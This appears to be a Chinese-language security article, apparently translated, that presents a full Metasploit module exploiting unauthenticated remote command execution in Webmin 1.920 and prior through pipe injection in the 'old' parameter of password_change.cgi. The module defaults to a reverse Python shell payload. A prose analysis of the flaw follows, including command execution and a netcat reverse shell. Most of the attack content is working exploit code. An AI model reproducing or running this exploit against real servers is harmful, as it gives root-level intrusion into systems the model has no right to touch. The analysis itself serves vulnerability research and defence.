## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit:: Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize (info = {}) super (update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE' , 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.920 and prior versions. If the password change module is turned on, the unathenticated user can execute arbitrary commands with root privileges. /////// This 0day has been published at DEFCON-AppSec Village. /////// ) , 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE' , '2019-' ], [ 'URL' , 'https://www.pentest.com.tr' ] ], 'Privileged' => true , 'Payload' => { 'DisableNops' => true , 'Space' => 512 , 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000 , 'SSL' => false , 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Platform' => 'unix' , 'Arch' => ARCH_CMD, 'Targets' => [[ 'Webmin <= 1.910' , {}]], 'DisclosureDate' => 'May 16 2019' , 'DefaultTarget' => 0 ) ) register_options [ OptString.new( 'TARGETURI' , [ true , 'Base path for Webmin application' , '/' ]) ] end def peer " #{ssl ? 'https://' : 'http://' } #{rhost} : #{rport} " end ## # Target and input verification ## def check # check passwd change priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "password_change.cgi" ), 'headers' => { 'Referer' => " #{peer} /session_login.cgi" }, 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" }) if res && res.code == 200 && res.body =~ /Failed/ res = send_request_cgi( { 'method' => 'POST' , 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" , 'ctype' => 'application/x-www-form-urlencoded' , 'uri' => normalize_uri(target_uri.path, 'password_change.cgi' ), 'headers' => { 'Referer' => " #{peer} /session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" }) if res && res.code == 200 && res.body =~ /password_change.cgi/ return CheckCode::Vulnerable else return CheckCode::Safe end else return CheckCode::Safe end end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.' ) end command = payload.encoded print_status( "Attempting to execute the payload..." ) handler res = send_request_cgi( { 'method' => 'POST' , 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" , 'ctype' => 'application/x-www-form-urlencoded' , 'uri' => normalize_uri(target_uri.path, 'password_change.cgi' ), 'headers' => { 'Referer' => " #{peer} /session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7c #{command} %20&new1=akkuss&new2=akkuss" }) end end
要利用该漏洞,必须允许webmin中的user password change,这是唯一的条件。许多webmin管理器都启用了该特征。该特征允许用户用旧密码来设置新密码。
研究人员在分析Webmin应用时,注意到了一些.cgi文件,其中一个就是password_change.cgi:
这是该文件工作所需设置的唯一参数,miniserv.conf配置文件中的passwd_mode值要设置为2。
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
在Webmin> Webmin Configuration> Authentication部分,检查Prompt users with expired passwords to enter a new one。也就是说miniserv.conf中的password_change值为2。
通过该配置,用户就可以验证旧密码来修改过期的密码。那么漏洞原理是什么呢?下面分析一下password_change.cgi。
password_change.cgi发送旧密码到acl/acl-lib.pl中的encrypt_password函数
该函数会调用另一个函数unix_crypt。
在另一个section中,unix_crypt函数会再次被调用来验证旧密码。
此时,可以在验证旧密码时读取shadow文件来使用vertical bar (|)。
下面通过burp suite发送请求:
研究人员发送了一个含有原来POST数据的请求,出现了错误"Failed to change password: The current password is incorrect"。
该漏洞就存在于old参数中。
如果username, old password或其他信息正确的话没有问题。
文件password_change.cgi会检查服务器中的old参数的信息。但并不会检查username是否正确。
研究人员使用vertical bar (|),并尝试在服务器上运行一个不同的命令。
从上图可以看出,服务器上会执行命令ifconfig,输出结果如上图。
下面发送恶意payload到服务器并接收shell会话。
研究人员使用netcat payload来进行证明,因为研究人员知道服务器上安装了netcat。
可以看出接收到了shell。在运行命令pwd后,研究人员发现恶意payload在acl文件夹中执行力。因为该函数在这里被调用了。
该漏洞看起来像一个后门。更多参见reddit评论https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/ex6q9v6/
本文翻译自:https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html